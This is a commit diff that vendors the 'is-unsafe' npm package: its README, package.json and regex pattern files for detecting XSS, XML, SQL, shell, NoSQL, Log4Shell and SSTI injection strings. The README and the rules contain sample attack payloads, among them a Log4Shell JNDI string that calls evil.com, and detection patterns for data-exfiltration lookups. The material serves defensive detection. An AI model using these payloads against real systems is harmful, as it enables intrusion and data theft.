提交依赖与构建产物

This commit is contained in:
wangdequan
2026-06-27 09:25:04 -04:00
parent 2817cba164
commit f0e96308d2
1300 changed files with 844236 additions and 0 deletions

21
node_modules/is-unsafe/LICENSE generated vendored Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Natural Intelligence
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

528
node_modules/is-unsafe/README.md generated vendored Normal file
View File

@@ -0,0 +1,528 @@
# `is-unsafe`
> Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
[![npm version](https://img.shields.io/npm/v/is-unsafe.svg)](https://www.npmjs.com/package/is-unsafe)
[![license](https://img.shields.io/npm/l/is-unsafe.svg)](LICENSE)
---
## Why `is-unsafe`?
Sanitizer libraries like [DOMPurify](https://github.com/cure53/DOMPurify) require a DOM. They cannot run inside XML parsers, template engines, or server-side pipelines that process strings before they ever reach a browser.
`is-unsafe` fills that gap. It is a **pure predicate** — it answers one question:
> *Is this string value unsafe in a given context?*
It never mutates strings. It never touches the DOM. It has zero runtime dependencies.
### Motivating use case: `@nodable/entities` / `fast-xml-parser`
DOCTYPE blocks can define custom entities with arbitrary values:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE urlset [
<!ENTITY xss '</script><script>alert(document.domain)</script><x y="'>
]>
<urlset>
<url><loc>https://example.com/&xss;</loc></url>
</urlset>
```
When `@nodable/entities` resolves `&xss;`, it produces a raw string containing `</script><script>alert(...)`. Whether that string is dangerous depends on where it ends up. `is-unsafe` answers that question — without a DOM.
---
## Installation
```sh
npm install is-unsafe
```
---
## Quick start
```js
import { isUnsafe } from 'is-unsafe';
isUnsafe('<script>alert(1)</script>', 'HTML') // → true
isUnsafe('New York, NY', 'HTML') // → false
isUnsafe("' OR 1=1--", 'SQL') // → true
isUnsafe('../etc/passwd', 'SHELL') // → true
isUnsafe('(a+)+', 'REDOS') // → true (ReDoS risk)
isUnsafe('{"$ne": null}', 'NOSQL') // → true
isUnsafe('${jndi:ldap://evil.com}', 'LOG') // → true (Log4Shell)
```
---
## API
### `isUnsafe(value, context)` → `boolean`
Returns `true` if `value` is unsafe in the given context, `false` otherwise.
| Parameter | Type | Description |
|-----------|------|-------------|
| `value` | `string` | The string to test. Throws `TypeError` if not a string. |
| `context` | `string \| string[] \| RegExp` | Context name, array of context names, or a custom `RegExp`. |
```js
// Single context
isUnsafe(value, 'HTML')
// Multiple contexts — true if unsafe in ANY of them
isUnsafe(value, ['HTML', 'XML'])
// Custom RegExp — true if pattern matches
isUnsafe(value, /my-pattern/i)
```
---
### `whyUnsafe(value, context)` → `MatchResult | null`
Like `isUnsafe`, but returns a `MatchResult` object describing the **first** matching rule, or `null` if the value is safe. Useful for logging and error messages.
```js
import { whyUnsafe } from 'is-unsafe';
const result = whyUnsafe('<script>alert(1)</script>', 'HTML');
// {
// context: 'HTML',
// id: 'html-script-open',
// description: '<script opening tag',
// pattern: /<script[\s>/]/i
// }
```
---
### `allUnsafe(value, context)` → `MatchResult[]`
Returns **all** matching rules across the given context(s), or an empty array if safe. Useful for comprehensive audits.
```js
import { allUnsafe } from 'is-unsafe';
const findings = allUnsafe('<script onload="x"></script>', 'HTML');
// [
// { context: 'HTML', id: 'html-script-open', ... },
// { context: 'HTML', id: 'html-script-close', ... },
// { context: 'HTML', id: 'html-inline-event-handler', ... }
// ]
```
---
### `VALID_CONTEXTS`
Exported array of all built-in context names.
```js
import { VALID_CONTEXTS } from 'is-unsafe';
// {
// readonly HTML: "HTML";
// readonly XML: "XML";
// readonly SVG: "SVG";
// readonly SQL: "SQL";
// readonly "SQL-STRICT": "SQL-STRICT";
// readonly SHELL: "SHELL";
// readonly REDOS: "REDOS";
// readonly NOSQL: "NOSQL";
// readonly LOG: "LOG";
// }
```
---
## Contexts
### `'HTML'`
XSS vectors when a string is rendered as HTML:
| Rule ID | What it catches |
|---------|----------------|
| `html-script-open` | `<script` opening tag |
| `html-script-close` | `</script>` closing tag |
| `html-javascript-protocol` | `javascript:` URI (with whitespace obfuscation) |
| `html-vbscript-protocol` | `vbscript:` URI |
| `html-data-html` | `data:text/html` URI |
| `html-data-xhtml` | `data:application/xhtml+xml` URI |
| `html-data-svg` | `data:image/svg+xml` URI |
| `html-inline-event-handler` | `onclick=`, `onerror=`, `onload=`, etc. |
| `html-entity-obfuscated-script` | `&#x3C;script`, `&#60;script`, `&lt;script` |
| `html-entity-obfuscated-javascript` | Hex/decimal entity encoding of `javascript:` |
| `html-style-expression` | CSS `expression()` — IE code execution |
| `html-object-embed` | `<object>` and `<embed>` tags |
| `html-base-tag` | `<base href=` — relative URL hijacking |
| `html-meta-refresh` | `<meta http-equiv="refresh"` |
| `html-srcdoc` | `srcdoc=` attribute on iframes |
| `html-iframe` | `<iframe` tag |
| `html-form` | `<form` tag — phishing injection |
---
### `'XML'`
Parser-level attacks in XML documents (distinct from HTML XSS):
| Rule ID | What it catches |
|---------|----------------|
| `xml-cdata-injection` | `<![CDATA[` injection |
| `xml-cdata-close` | `]]>` — closes an enclosing CDATA section |
| `xml-processing-instruction` | `<?xml-stylesheet`, `<?php`, `<?asp` |
| `xml-doctype-injection` | `<!DOCTYPE` embedded in content |
| `xml-entity-system` | `SYSTEM "..."` — XXE external entity |
| `xml-entity-public` | `PUBLIC "..."` — XXE external entity |
| `xml-entity-declaration` | `<!ENTITY` declaration |
| `xml-billion-laughs` | Repeated entity refs `&e1;&e2;&e3;` — expansion attack |
| `xml-namespace-confusion` | `xmlns=` attribute injection |
| `xml-comment-injection` | `<!--` comment open |
| `xml-comment-close` | `-->` comment close |
| `xml-pi-close` | `?>` processing instruction close |
---
### `'SVG'`
SVG-specific XSS vectors that bypass HTML-only sanitizers (including documented DOMPurify bypass patterns):
| Rule ID | What it catches |
|---------|----------------|
| `svg-script-element` | `<script` inside SVG |
| `svg-xlink-href-javascript` | `xlink:href="javascript:..."` |
| `svg-href-javascript` | `href="javascript:..."` |
| `svg-foreignobject` | `<foreignObject>` — embeds HTML inside SVG |
| `svg-use-external` | `<use href=` pointing to external URL |
| `svg-animate-href` | `<animate attributeName="href"` — dynamic href injection |
| `svg-animate-xlinkhref` | `<animate attributeName="xlink:href"` |
| `svg-set-javascript` | `<set to="javascript:..."` |
| `svg-event-handler` | SVG event handlers (`onload=`, `onactivate=`, `onbegin=`, etc.) |
| `svg-filter-feimage` | `<feImage href=` — external resource load |
| `svg-image-external` | `<image xlink:href=` with http/javascript URL |
| `svg-style-javascript` | `style=` containing `javascript:` |
---
### `'SQL'` and `'SQL-STRICT'`
Two tiers of SQL injection detection, chosen based on what kind of input you're validating.
**Use `'SQL'`** for general user-facing fields (names, descriptions, search queries). Its 15 rules are high-precision with very low false-positive risk.
**Use `'SQL-STRICT'`** when the input is specifically a SQL fragment or database identifier — it includes all `SQL` rules plus three additional rules that would produce false positives on general text:
| Extra rule in SQL-STRICT | Why it's noisy on general text |
|--------------------------|-------------------------------|
| `sql-line-comment` (`--`) | Fires on `"see note -- above"`, CSS `var(--primary)` |
| `sql-stacked-query` (`;SELECT`) | Semicolons are normal punctuation |
| `sql-hex-encoding` (`0xDEAD`) | Hex values appear in technical docs and logs |
**Base `SQL` rules (present in both):**
| Rule ID | What it catches |
|---------|----------------|
| `sql-block-comment-open` | `/*` block comment |
| `sql-union-select` | `UNION SELECT`, `UNION ALL SELECT` |
| `sql-drop-table` | `DROP TABLE` |
| `sql-drop-database` | `DROP DATABASE` |
| `sql-insert-into` | `INSERT INTO` |
| `sql-delete-from` | `DELETE FROM` |
| `sql-update-set` | `UPDATE ... SET` |
| `sql-exec-xp` | `EXEC xp_` — MSSQL extended stored procedures |
| `sql-tautology-string` | `' OR '1'='1` string tautologies |
| `sql-tautology-numeric` | `OR 1=1` numeric tautology |
| `sql-always-true-zero` | `OR 0=0` numeric tautology |
| `sql-sleep-benchmark` | `SLEEP()`, `BENCHMARK()` — time-based blind injection |
| `sql-waitfor-delay` | `WAITFOR DELAY` — MSSQL time-based blind |
| `sql-char-function` | `CHAR(65)` — character obfuscation |
| `sql-information-schema` | `INFORMATION_SCHEMA` — reconnaissance |
---
### `'SHELL'`
Shell injection and path traversal:
| Rule ID | What it catches |
|---------|----------------|
| `shell-path-traversal-unix` | `../` directory traversal |
| `shell-path-traversal-windows` | `..\` Windows traversal |
| `shell-path-traversal-encoded` | `%2e%2e` URL-encoded traversal |
| `shell-null-byte` | `\x00` or `%00` null byte injection |
| `shell-semicolon` | `;` command separator |
| `shell-pipe` | `\|` pipe operator |
| `shell-and-operator` | `&&` AND operator |
| `shell-or-operator` | `\|\|` OR operator |
| `shell-backtick` | `` ` `` backtick substitution |
| `shell-dollar-paren` | `$(cmd)` command substitution |
| `shell-dollar-brace` | `${var}` variable expansion |
| `shell-redirect-out` | `>` or `>>` output redirection |
| `shell-redirect-in` | `<` input redirection |
| `shell-newline-injection` | `\n` or `\r` newline injection |
| `shell-glob-star` | `/*` or `\*` glob after path separator |
| `shell-absolute-root` | Strings starting with `/` or `\\` (UNC) |
| `shell-windows-drive` | `C:\` or `D:/` Windows drive paths |
| `shell-curl-wget` | `curl https://...` or `wget -` with URL or flags |
> **Note:** The `SHELL` context is intentionally broad. Characters like `;`, `|`, and `<` appear in many safe strings, so apply this context only to values destined for shell execution or filesystem operations, not to general text.
---
### `'REDOS'`
Strings that would cause catastrophic backtracking if compiled as a `RegExp`:
| Rule ID | What it catches |
|---------|----------------|
| `redos-nested-quantifier-plus` | `(a+)+`, `(.+b)*` — nested `+` in group with outer quantifier |
| `redos-nested-quantifier-star` | `(a*)*` — nested `*` in group with outer quantifier |
| `redos-nested-groups` | `((a+)+)` — doubly nested quantified groups |
| `redos-alternation-overlap` | `(a\|a)+` — repeated identical alternatives |
| `redos-star-plus-concat` | `(a*a)+` — star-concat pattern |
| `redos-dot-star-greedy` | `(.*){n}` — repeated greedy dot |
| `redos-large-repetition` | `{1000,}` or `{5000,10000}` — extremely large repetition counts |
| `redos-catastrophic-alternation` | 10+ pipe alternatives in one group |
---
### `'NOSQL'`
MongoDB query operator injection and prototype pollution:
| Rule ID | What it catches |
|---------|----------------|
| `nosql-where-operator` | `$where:` — executes arbitrary JavaScript server-side |
| `nosql-ne-operator` | `$ne:` — not-equal authentication bypass |
| `nosql-gt-operator` | `$gt:` / `$gte:` — greater-than bypass |
| `nosql-lt-operator` | `$lt:` / `$lte:` — less-than bypass |
| `nosql-regex-operator` | `$regex:` — blind character-by-character extraction |
| `nosql-or-operator` | `$or: [` — always-true condition injection |
| `nosql-and-operator` | `$and: [` — logical AND injection |
| `nosql-nor-operator` | `$nor: [` — logical NOR injection |
| `nosql-exists-operator` | `$exists:` — field enumeration |
| `nosql-in-operator` | `$in: [` — value enumeration |
| `nosql-expr-operator` | `$expr:` — aggregation expression injection |
| `nosql-function-operator` | `$function:` — arbitrary JavaScript (MongoDB 4.4+) |
| `nosql-accumulator-operator` | `$accumulator:` — custom JS aggregation |
| `nosql-proto-pollution` | `__proto__` — prototype pollution |
| `nosql-constructor-prototype` | `constructor.prototype` or JSON key adjacency |
| `nosql-proto-bracket` | `["__proto__"]` — bracket-notation prototype pollution |
Patterns handle both bare form (`$ne: null`) and JSON key form (`{"$ne": null}`) by allowing an optional closing quote between the operator name and the colon.
---
### `'LOG'`
Injection vectors dangerous when a string is written to a log file or passed to a logging framework:
| Rule ID | What it catches |
|---------|----------------|
| `log-crlf-injection` | Literal `\r` or `\n` — fake log line injection |
| `log-url-encoded-crlf` | `%0d`, `%0a`, `%0D`, `%0A` — URL-encoded newlines |
| `log-unicode-newline` | U+2028, U+2029 — Unicode line/paragraph separators |
| `log-log4shell-jndi` | `${jndi:...}` — Log4Shell RCE (CVE-2021-44228) |
| `log-log4shell-obfuscated` | `${::-` — Log4j WAF-bypass prefix |
| `log-log4j-lookup` | `${env:}`, `${sys:}`, `${ctx:}` — data exfiltration lookups |
| `log-ssti-double-brace` | `{{expression}}` — Jinja2, Twig, Handlebars SSTI |
| `log-ssti-hash-brace` | `#{expression}` — Thymeleaf, Velocity, ERB SSTI |
| `log-ssti-dollar-brace` | `${expr.method()}` — JSP EL, Freemarker, SpEL SSTI |
| `log-ssti-percent-tag` | `<%= expression %>` — Ruby ERB, ASP |
| `log-null-byte` | `\x00` or `%00` — truncates log entries |
| `log-ansi-escape` | `ESC[` — ANSI escape sequences that manipulate terminal output |
> **Note:** The `log-crlf-injection` rule flags literal newline characters (`\n`, `\r`). Apply `LOG` only to single-line log field values (usernames, IDs, request parameters), not to multi-line content.
---
## Integration examples
### `@nodable/entities` — `postCheck` callback
```js
import { isUnsafe } from 'is-unsafe';
import { EntityDecoder, ALL_ENTITIES } from '@nodable/entities';
const dec = new EntityDecoder({
namedEntities: ALL_ENTITIES,
postCheck: (resolved, original) => {
if (isUnsafe(resolved, 'HTML')) {
return original; // keep literal &entity; reference
// or: throw new Error(`Unsafe entity blocked: ${original}`);
// or: return '[BLOCKED]';
}
return resolved;
}
});
```
### Logging with `whyUnsafe`
```js
import { isUnsafe, whyUnsafe } from 'is-unsafe';
function safeInsert(value, context) {
if (isUnsafe(value, context)) {
const reason = whyUnsafe(value, context);
logger.warn('Blocked unsafe value', { ruleId: reason.id, context });
throw new Error(`Unsafe value rejected (${reason.id})`);
}
return value;
}
```
### Auditing with `allUnsafe`
```js
import { allUnsafe } from 'is-unsafe';
const findings = allUnsafe(userInput, ['HTML', 'SQL', 'SHELL']);
if (findings.length > 0) {
auditLog.record({ input: userInput, findings: findings.map(f => f.id) });
}
```
### SQL vs SQL-STRICT — choosing the right tier
```js
import { isUnsafe } from 'is-unsafe';
// General text field (name, description, comment) — use SQL
function validateUserBio(bio) {
if (isUnsafe(bio, 'SQL')) throw new Error('Invalid content');
return bio;
}
// Dedicated SQL identifier input (table name picker, column filter) — use SQL-STRICT
function validateTableName(name) {
if (isUnsafe(name, 'SQL-STRICT')) throw new Error('Invalid identifier');
return name;
}
validateUserBio("see note -- above"); // passes (-- alone is fine for general text)
validateTableName("users -- comment"); // blocked by SQL-STRICT
```
### File upload path guard
```js
import { isUnsafe } from 'is-unsafe';
function validateUploadPath(filename) {
if (isUnsafe(filename, 'SHELL')) throw new Error('Invalid filename');
return filename;
}
validateUploadPath('document.pdf'); // OK
validateUploadPath('../../../etc/passwd'); // throws
validateUploadPath('file.txt\x00.jpg'); // throws (null byte)
```
### User-supplied regex guard
```js
import { isUnsafe, whyUnsafe } from 'is-unsafe';
function compileUserRegex(pattern) {
if (isUnsafe(pattern, 'REDOS')) {
const detail = whyUnsafe(pattern, 'REDOS');
throw new Error(`ReDoS risk in pattern (${detail.id})`);
}
return new RegExp(pattern);
}
compileUserRegex('^[a-z]+$'); // OK
compileUserRegex('(a+)+'); // throws — nested quantifier
```
### MongoDB input guard
```js
import { isUnsafe } from 'is-unsafe';
function safeMongoValue(value) {
if (isUnsafe(value, 'NOSQL')) throw new Error('Unsafe MongoDB value');
return value;
}
safeMongoValue('alice'); // OK
safeMongoValue('{"$ne": null}'); // throws — $ne bypass
safeMongoValue('__proto__'); // throws — prototype pollution
```
### Log field guard
```js
import { isUnsafe } from 'is-unsafe';
function safeLogField(value) {
if (isUnsafe(value, 'LOG')) throw new Error('Unsafe log value');
return value;
}
safeLogField('alice'); // OK
safeLogField('${jndi:ldap://evil.com}'); // throws — Log4Shell
safeLogField("value\nfake log entry"); // throws — CRLF injection
```
---
## Design principles
| Principle | Detail |
|-----------|--------|
| **Predicate only** | Returns `true`/`false`. Never mutates strings. |
| **Zero dependencies** | No jsdom, no DOM, no framework coupling. |
| **Context-aware** | "Unsafe" is not absolute — it depends on where the value will be used. |
| **Caller decides action** | `is-unsafe` classifies. Escaping, throwing, or logging is the caller's responsibility. |
| **ReDoS-safe** | All detection patterns use bounded quantifiers. The irony of a security package triggering its own vulnerability (as the `sql-injection` npm package does) is avoided by design. |
| **False positives over false negatives** | In parser context, blocking a legitimate value is better than passing a malicious one. |
---
## What `is-unsafe` is NOT
- **Not a sanitizer** — it does not modify strings
- **Not a middleware** — no Express/Koa coupling
- **Not a firewall** — it does not block requests
- **Not a complete security solution** — one layer of defence-in-depth
---
## Comparison with existing packages
| Package | Problem |
|---------|---------|
| `dompurify` | Requires DOM/jsdom. Sanitizer, not predicate. Has documented SVG/XML bypass vulnerabilities. |
| `xss` | Sanitizer — rewrites the string. HTML-only. No predicate API. |
| `xss-filters` | Explicitly documented as unable to be used inside `<svg>`, `<object>`, `<embed>`. |
| `xss-checker` | 465 kB payload list, 6 years abandoned, 5 dependents. |
| `is-sql-injection` | Philosophically closest, but v1.0.0 only, 8 years abandoned, 19 dependents. |
| `sql-injection` | Express middleware. Has an active ReDoS CVE on its own detection patterns. |
| **`is-unsafe`** | Actively maintained. DOM-free. Pure predicate. Covers HTML, XML, SVG, SQL (two tiers), SHELL, REDOS, NOSQL, and LOG as distinct contexts. |
The `SVG` context is the key differentiator for XSS — no existing package covers SVG-specific vectors (`xlink:href`, `foreignObject`, `animate`/`set` element attacks). The `XML` context covers parser-level attacks that DOMPurify has documented bypass vulnerabilities for. The `NOSQL` and `LOG` contexts (including Log4Shell) have no equivalent in any current predicate package.
---
## Running tests
```sh
npm install
npm test
```
Tests use [Jasmine](https://jasmine.github.io/). Source in `src/`, specs in `specs/`.
---
## License
MIT

48
node_modules/is-unsafe/package.json generated vendored Normal file
View File

@@ -0,0 +1,48 @@
{
"name": "is-unsafe",
"version": "1.0.1",
"description": "Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts",
"main": "src/index.js",
"type": "module",
"types": "./src/index.d.ts",
"scripts": {
"test": "jasmine **/*.spec.js",
"test:watch": "nodemon --exec 'npm test' --watch src --watch specs"
},
"keywords": [
"xss",
"sql-injection",
"security",
"safe",
"predicate",
"sanitizer",
"xml",
"svg",
"html",
"shell-injection",
"redos",
"unsafe",
"validator",
"log",
"nosql"
],
"repository": {
"type": "git",
"url": "https://github.com/NaturalIntelligence/is-unsafe"
},
"author": "Amit Gupta (https://solothought.work/)",
"license": "MIT",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
],
"devDependencies": {
"jasmine": "^5.1.0"
},
"files": [
"src/",
"README.md"
]
}

102
node_modules/is-unsafe/src/contexts/html.js generated vendored Normal file
View File

@@ -0,0 +1,102 @@
/**
* HTML context patterns.
*
* Detects XSS vectors that are dangerous when a string ends up rendered as HTML.
* All patterns use bounded quantifiers to ensure linear-time matching (ReDoS-safe).
*
* Each entry is { pattern: RegExp, id: string, description: string }
* so callers can inspect which rule fired if they need to.
*/
const HTML_PATTERNS = [
{
id: 'html-script-open',
description: '<script opening tag',
pattern: /<script[\s>/]/i,
},
{
id: 'html-script-close',
description: '</script closing tag',
pattern: /<\/script[\s>]/i,
},
{
id: 'html-javascript-protocol',
description: 'javascript: URI scheme (with optional whitespace/encoding)',
// Handles j&#x61;vascript:, j\u0061vascript:, and whitespace variants
pattern: /j[\t\n\r ]*a[\t\n\r ]*v[\t\n\r ]*a[\t\n\r ]*s[\t\n\r ]*c[\t\n\r ]*r[\t\n\r ]*i[\t\n\r ]*p[\t\n\r ]*t[\t\n\r ]*:/i,
},
{
id: 'html-vbscript-protocol',
description: 'vbscript: URI scheme',
pattern: /vbscript[\t\n\r ]*:/i,
},
{
id: 'html-data-html',
description: 'data:text/html URI — can execute scripts in browsers',
pattern: /data[\t\n\r ]*:[\t\n\r ]*text\/html/i,
},
{
id: 'html-data-xhtml',
description: 'data:application/xhtml+xml URI',
pattern: /data[\t\n\r ]*:[\t\n\r ]*application\/xhtml/i,
},
{
id: 'html-data-svg',
description: 'data:image/svg+xml URI — can execute scripts',
pattern: /data[\t\n\r ]*:[\t\n\r ]*image\/svg\+xml/i,
},
{
id: 'html-inline-event-handler',
description: 'Inline event handler attributes: onclick=, onerror=, onload=, etc.',
// \bon ensures we match a word boundary so "phonetic=" is not caught
pattern: /\bon\w{1,30}\s*=/i,
},
{
id: 'html-entity-obfuscated-script',
description: 'HTML-entity-encoded <script (e.g. &#x3C;script or &lt;script)',
// Entities include optional trailing semicolon: &#x3C; or &#x3C (both valid in HTML5)
pattern: /(?:&#x0*3[Cc];?|&#0*60;?|&lt;)\s*script/i,
},
{
id: 'html-entity-obfuscated-javascript',
description: 'HTML-entity-encoded javascript: (partial — catches common &#106; or &#x6a; for "j")',
pattern: /(?:&#x0*6[Aa];?|&#0*106;?)\s*(?:&#x0*61;?|a)[\s\S]{0,80}script\s*:/i,
},
{
id: 'html-style-expression',
description: 'CSS expression() — IE-era code execution in style attributes',
pattern: /style[\s\S]{0,20}expression\s*\(/i,
},
{
id: 'html-object-embed',
description: '<object or <embed tags that can load active content',
pattern: /<(?:object|embed)[\s>/]/i,
},
{
id: 'html-base-tag',
description: '<base href= — can hijack all relative URLs on a page',
pattern: /<base[\s>]/i,
},
{
id: 'html-meta-refresh',
description: '<meta http-equiv="refresh" — can redirect users',
pattern: /<meta[\s\S]{0,40}http-equiv[\s\S]{0,20}refresh/i,
},
{
id: 'html-srcdoc',
description: 'srcdoc= attribute on iframes — embeds HTML that can run scripts',
pattern: /srcdoc\s*=/i,
},
{
id: 'html-iframe',
description: '<iframe tag',
pattern: /<iframe[\s>/]/i,
},
{
id: 'html-form',
description: '<form tag — can be used for phishing / credential harvesting injection',
pattern: /<form[\s>/]/i,
},
];
export default HTML_PATTERNS;

98
node_modules/is-unsafe/src/contexts/log.js generated vendored Normal file
View File

@@ -0,0 +1,98 @@
/**
* LOG context patterns.
*
* Detects injection vectors that are dangerous when a string is written
* to a log file, passed to a logging framework, or interpolated into
* a log message that will be parsed or displayed.
*
* Attack categories:
* 1. CRLF injection — injects fake log lines by embedding newlines
* 2. Log4Shell (CVE-2021-44228) — ${jndi:...} triggers JNDI lookup in Log4j
* 3. SSTI in log templates — {{...}}, #{...} trigger template evaluation
* if the log message is passed through a template engine
* 4. Null byte injection — truncates log entries in some implementations
* 5. ANSI escape injection — manipulates terminal output when logs are
* tailed in a terminal (colour codes, cursor movement, etc.)
*
* Note: Newline characters (\n, \r) will produce false positives for
* multi-line legitimate values. Use this context only for single-line
* log field values (usernames, IDs, request parameters, etc.).
*/
const LOG_PATTERNS = [
// ─── CRLF / newline injection ─────────────────────────────────────────────
{
id: 'log-crlf-injection',
description: 'CRLF injection: literal \\r or \\n embeds fake log lines',
pattern: /[\r\n]/,
},
{
id: 'log-url-encoded-crlf',
description: 'URL-encoded CRLF: %0d, %0a, %0D, %0A — decoded by some log parsers',
pattern: /%0[dDaA]/,
},
{
id: 'log-unicode-newline',
description: 'Unicode newline variants: U+2028 (line separator), U+2029 (paragraph separator)',
pattern: /[\u2028\u2029]/,
},
// ─── Log4Shell / JNDI injection (CVE-2021-44228) ─────────────────────────
{
id: 'log-log4shell-jndi',
description: 'Log4Shell: ${jndi:...} triggers remote code execution in Apache Log4j',
pattern: /\$\{jndi\s*:/i,
},
{
id: 'log-log4shell-obfuscated',
description: 'Obfuscated Log4Shell: ${::-j}... lookup-bypass prefix used to evade WAF detection',
// ${::- is the Log4j lookup-bypass escape sequence; presence alone is suspicious
pattern: /\$\{::-/,
},
{
id: 'log-log4j-lookup',
description: 'Log4j lookup syntax: ${env:...}, ${sys:...}, ${ctx:...} — data exfiltration',
pattern: /\$\{(?:env|sys|ctx|main|map|sd|web|docker|k8s|spring)\s*:/i,
},
// ─── Server-Side Template Injection (SSTI) in log messages ───────────────
{
id: 'log-ssti-double-brace',
description: 'SSTI double-brace: {{expression}} — Jinja2, Twig, Handlebars, etc.',
pattern: /\{\{[\s\S]{0,80}\}\}/,
},
{
id: 'log-ssti-hash-brace',
description: 'SSTI hash-brace: #{expression} — Thymeleaf, Velocity, Ruby ERB',
pattern: /#\{[\s\S]{0,80}\}/,
},
{
id: 'log-ssti-dollar-brace',
description: 'SSTI/EL injection: ${expression with operators or method calls} — JSP EL, Freemarker, SpEL',
// Require that the ${...} content looks like an expression, not a plain variable name.
// Flags if the content contains: . ( * + operators, or known SSTI keywords.
// This avoids flagging ${PATH}, ${HOME} etc. (plain shell variables).
pattern: /\$\{[^}]*(?:\.|\(|\*|\+|\bclass\b|\bruntime\b|\bprocess\b|\bexec\b)[^}]{0,80}\}/i,
},
{
id: 'log-ssti-percent-tag',
description: 'SSTI ERB/ASP tag: <%= expression %> — Ruby ERB, ASP',
pattern: /<%=[\s\S]{0,80}%>/,
},
// ─── Null byte ────────────────────────────────────────────────────────────
{
id: 'log-null-byte',
description: 'Null byte: \\x00 or %00 — can truncate log entries in C-backed loggers',
pattern: /\x00|%00/,
},
// ─── ANSI escape injection ────────────────────────────────────────────────
{
id: 'log-ansi-escape',
description: 'ANSI escape sequence: ESC[ — can manipulate terminal output when logs are tailed',
pattern: /\x1b\[/,
},
];
export default LOG_PATTERNS;

114
node_modules/is-unsafe/src/contexts/nosql.js generated vendored Normal file
View File

@@ -0,0 +1,114 @@
/**
* NOSQL context patterns.
*
* Detects injection vectors specific to NoSQL databases (primarily MongoDB)
* and JavaScript-evaluated queries.
*
* Attack categories:
* 1. MongoDB query operator injection: $where, $ne, $gt, $regex, $or, $and, etc.
* These operators, when injected into a JSON query object, can bypass
* authentication or exfiltrate data without knowing passwords.
*
* 2. JavaScript execution: $where clauses execute arbitrary JS server-side.
*
* 3. Prototype pollution: __proto__, constructor.prototype — can corrupt
* the prototype chain of all objects in the Node.js process.
*
* Pattern note: MongoDB operators appear as JSON keys. In JSON, keys are
* quoted: {"$where": ...} so the pattern must allow an optional closing
* quote between the operator name and the colon: /\$where["'\s]*:/
*/
// Shared suffix: optional closing quote/whitespace before the colon
// Handles: $op: (bare), "$op": (JSON), '$op': (single-quoted)
const SEP = /["'\s]*:/;
const sep = '["\'\\s]*:';
const NOSQL_PATTERNS = [
// ─── MongoDB $ operator injection ────────────────────────────────────────
{
id: 'nosql-where-operator',
description: '$where — executes arbitrary JavaScript server-side in MongoDB',
pattern: new RegExp(`\\$where${sep}`, 'i'),
},
{
id: 'nosql-ne-operator',
description: '$ne — "not equal" operator used to bypass equality checks',
pattern: new RegExp(`\\$ne${sep}`, 'i'),
},
{
id: 'nosql-gt-operator',
description: '$gt — "greater than" used to bypass password/value checks',
pattern: new RegExp(`\\$gte?${sep}`, 'i'),
},
{
id: 'nosql-lt-operator',
description: '$lt / $lte — "less than" bypass variants',
pattern: new RegExp(`\\$lte?${sep}`, 'i'),
},
{
id: 'nosql-regex-operator',
description: '$regex — can be used to extract data character by character (blind injection)',
pattern: new RegExp(`\\$regex${sep}`, 'i'),
},
{
id: 'nosql-or-operator',
description: '$or — logical OR; used to create always-true conditions',
pattern: new RegExp(`\\$or${sep}\\s*\\[`, 'i'),
},
{
id: 'nosql-and-operator',
description: '$and — logical AND operator injection',
pattern: new RegExp(`\\$and${sep}\\s*\\[`, 'i'),
},
{
id: 'nosql-nor-operator',
description: '$nor — logical NOR operator injection',
pattern: new RegExp(`\\$nor${sep}\\s*\\[`, 'i'),
},
{
id: 'nosql-exists-operator',
description: '$exists — can enumerate fields to determine schema',
pattern: new RegExp(`\\$exists${sep}`, 'i'),
},
{
id: 'nosql-in-operator',
description: '$in — matches any value in a list; can enumerate values',
pattern: new RegExp(`\\$in${sep}\\s*\\[`, 'i'),
},
{
id: 'nosql-expr-operator',
description: '$expr — allows aggregation expressions in queries (MongoDB 3.6+)',
pattern: new RegExp(`\\$expr${sep}`, 'i'),
},
{
id: 'nosql-function-operator',
description: '$function — executes arbitrary JavaScript in MongoDB 4.4+',
pattern: new RegExp(`\\$function${sep}`, 'i'),
},
{
id: 'nosql-accumulator-operator',
description: '$accumulator — custom aggregation with arbitrary JS execution',
pattern: new RegExp(`\\$accumulator${sep}`, 'i'),
},
// ─── Prototype pollution ─────────────────────────────────────────────────
{
id: 'nosql-proto-pollution',
description: '__proto__ — prototype pollution via object key injection',
pattern: /__proto__/,
},
{
id: 'nosql-constructor-prototype',
description: 'constructor.prototype — alternative prototype pollution vector (dot notation or JSON key)',
// Matches dot-notation (obj.constructor.prototype) and JSON key adjacency
// ("constructor": {"prototype": ...})
pattern: /constructor[\s"':.,{\[]*prototype/i,
},
{
id: 'nosql-proto-bracket',
description: '["__proto__"] — bracket-notation prototype pollution',
pattern: /\[["']__proto__["']\]/,
},
];
export default NOSQL_PATTERNS;

60
node_modules/is-unsafe/src/contexts/redos.js generated vendored Normal file
View File

@@ -0,0 +1,60 @@
/**
* REDOS context patterns.
*
* Detects strings that, if used as regular expressions, could cause
* catastrophic backtracking (ReDoS — Regular Expression Denial of Service).
*
* These patterns detect the structural forms that lead to exponential or
* polynomial backtracking in NFA-based regex engines (V8, PCRE, Java, etc.).
*
